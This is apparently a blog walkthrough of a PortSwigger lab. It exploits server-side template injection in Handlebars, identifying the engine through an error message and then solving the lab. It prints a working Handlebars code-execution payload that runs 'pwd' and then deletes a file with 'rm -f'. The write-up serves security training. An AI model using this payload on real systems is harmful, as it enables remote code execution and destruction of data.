On this page
apsyleg1 min read
#portswigger #ssti #web-security

SSTI in an Unknown Language with a Documented Exploit

Lab

Server-side template injection in an unknown language with a documented exploit · Expert

Solution

Given

This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.

Analyzing the task

There's a site vulnerable to SSTI. We need to identify the engine, find a public exploit, and weaponize it. Delete the morale.txt file from carlos's home directory.

Recon

Let's poke the site looking for user input and try to find SSTI. We click on the first product — and a strange redirect happens. Let's look at it in Burp more closely.

GET /product?productId=1
→ 302 Location: /?message=Unfortunately this product is out of stock

The server accepts user input — the error message.

Let's try to check for SSTI. We throw the request into Repeater and send a polyglot payload:

GET /?message=${{<%[%'"}}%\

Response:

Internal Server Error
/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267
            throw new Error(str);
            ^

Error: Parse error on line 1:
${{<%[%'"}}%\
---^
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'
    at Parser.parseError (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267:19)
    at Parser.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:336:30)
    at HandlebarsEnvironment.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)
    ...
Node.js v19.8.1

Entry point found. Moreover, we know the engine — Handlebars.

Let's read up on Handlebars. The docs say we can check {{this}}.

Z{{this}} → Z[object Object]

So the Handlebars context is visible.

Exploitation

Let's check PayloadsAllTheThings. Nothing useful.

Then HackTricks. We find a payload. And right away we put pwd instead of whoami to get the current directory:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('pwd');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Response:

e2[object Object]function Function() { [native code] }2[object Object]/home/carlos

OK, so the command will be something like: rm -f /home/carlos/morale.txt.

Final payload:

{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('rm -f /home/carlos/morale.txt').toString();"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}

Response:

e2[object Object]function Function() { [native code] }2[object Object]

The file is deleted.

Lab solved!